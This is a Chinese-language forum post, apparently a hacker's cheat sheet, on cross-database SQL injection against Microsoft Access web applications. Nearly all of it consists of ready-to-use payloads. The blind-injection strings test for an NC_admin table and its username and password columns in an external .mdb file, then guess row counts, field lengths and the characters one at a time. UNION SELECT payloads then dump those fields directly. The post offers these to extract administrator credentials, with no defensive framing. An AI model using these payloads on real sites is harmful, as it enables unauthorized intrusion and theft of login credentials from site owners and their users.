随便整理了下 这么久了 还没在论坛写过一篇文章
ACCESS跨库盲注
And 1=(Select Count(*) from [C:\777.mdb].[NC_admin]) 判断是否存在NC_Admin这张表
And 1=(Select Count(username) from [C:\777.mdb].[NC_admin]) 判断NC_Admin这张表是否存在username字段
And 1=(Select Count(password) from [C:\777.mdb].[NC_admin]) 判断NC_Admin这张表是否存在password字段
猜帐号数目 如果遇到>0返回正确页面 >1返回错误页面说明帐号数目就是1个
And (Select Count(*) from [C:\777.mdb].[NC_admin])>0
And (Select Count(*) from [C:\777.mdb].[NC_admin])>1
猜解字段长度
and 1=(select count() from [C:\777.mdb].[NC_admin] where len(username)>0) 返回错误
and 1=(select count() from [C:\777.mdb].[NC_admin] where len(username)=5) 返回正常
and 1=(select count() from [C:\777.mdb].[NC_admin] where len(password)>0) 返回错误
and 1=(select count() from [C:\777.mdb].[NC_admin] where len(password)=16) 返回正常
说明username字段长度为5 password字段为16
猜解字段内容
and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(username,1)='a') 猜解用户帐号的第一位
and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(username,2)='ad') 猜解用户帐号的第二位
and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(username,3)='adm') 猜解用户帐号的第三位
and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(password,1)='7') 猜解密码的第一位
and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(password,2)='7a') 猜解密码的第二位
union跨库注入更快 更简洁
union select 1,2,3,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC_Admin 判断是否存在NC_Admin这张表
union select 1,2,username,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC_Admin 判断NC_Admin这张表是否存在username字段
union select 1,2,password,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC_Admin 判断NC_Admin这张表是否存在password字段
如果表和字段都正确 数据自然就会显示出来了